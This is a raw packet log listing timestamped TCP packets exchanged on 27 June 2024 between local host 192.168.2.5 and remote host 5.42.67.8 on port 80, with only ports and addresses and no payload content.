Jun 27, 2024 06:44:25.484332085 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484361887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484370947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484392881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484414101 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484426975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484458923 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484473944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484473944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484508038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484512091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484544039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484575987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484591007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484591007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484607935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484630108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484639883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484694958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484694958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.523833990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.523891926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.523894072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.523926020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.523958921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.523983955 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.523993015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.524007082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.524024010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.524046898 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.524058104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.524094105 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.524307013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567576885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567631006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567667007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567697048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567707062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567713976 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567717075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567728996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567749023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567759037 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567759037 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567759991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567771912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567791939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567791939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567807913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567819118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567831993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567836046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567842960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567867994 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567867994 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567888975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.567940950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567985058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.567998886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568018913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568018913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568046093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568116903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568128109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568139076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568150043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568164110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568173885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568200111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568203926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568214893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568222046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568227053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568243027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568264961 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568264961 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568295002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568356037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568367004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568377972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568389893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568401098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568408012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568413973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568438053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568438053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568525076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568536043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568547010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568557024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568578959 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568597078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568608046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568613052 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568618059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568629980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568639994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568655968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568684101 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568718910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568730116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568742990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568754911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568772078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568778992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568782091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568794012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.568797112 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568826914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.568864107 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569227934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569238901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569252014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569262981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569277048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569288015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569298029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569308043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569308996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569308996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569319963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569336891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569336891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569346905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569358110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569367886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569379091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569387913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569387913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569389105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569401026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569412947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569423914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569437981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569448948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569457054 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569458008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569458008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569459915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569472075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569478035 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569509983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569551945 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569643021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569653988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569664955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569684029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569694996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569694996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569703102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569713116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569721937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569724083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569736958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569751024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569761992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569772959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569777012 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569813013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569813013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569813013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569920063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569931984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569941998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569952011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569958925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569962978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569973946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569984913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.569993973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569993973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.569994926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570005894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570012093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570019960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570059061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570059061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570136070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570146084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570184946 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570285082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570296049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570312023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570322037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570332050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570333004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570343971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570354939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570362091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570373058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570382118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570384979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570394993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570406914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570411921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570417881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570430994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570441008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.570466995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570466995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.570485115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.610539913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610574007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610624075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610639095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.610656977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610690117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610708952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.610722065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610752106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.610754013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.610806942 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654602051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654635906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654669046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654671907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654671907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654717922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654736996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654750109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654757023 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654782057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654819965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654833078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654833078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654869080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654901028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654908895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654908895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654937983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.654984951 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.654989004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655021906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655055046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655072927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655109882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655122042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655157089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655164957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655167103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655172110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655173063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655174971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655175924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655177116 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655186892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655194044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655198097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655208111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655225039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655240059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655256987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655267954 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655277967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655287981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655293941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655294895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655297041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655317068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655333996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655349016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655359983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655370951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655381918 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655390978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655390978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655392885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655404091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655515909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655515909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655539989 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655718088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655725002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655729055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655739069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655750990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655761957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655776978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655778885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655783892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655786991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655788898 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655788898 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655791998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655802011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655810118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655812025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655823946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.655860901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655860901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655860901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.655992985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656052113 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656193972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656203985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656214952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656225920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656234980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656244993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656255007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656265020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656265974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656265974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656275034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656285048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656289101 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656296968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656299114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656307936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656318903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656323910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656330109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656330109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656337023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656347990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656378984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656378984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656496048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656506062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656514883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656526089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656541109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656596899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656596899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.656641960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656651974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656661987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656672955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656683922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656693935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656703949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656716108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.656722069 CEST	49719	80	192.168.2.5	5.42.67.8
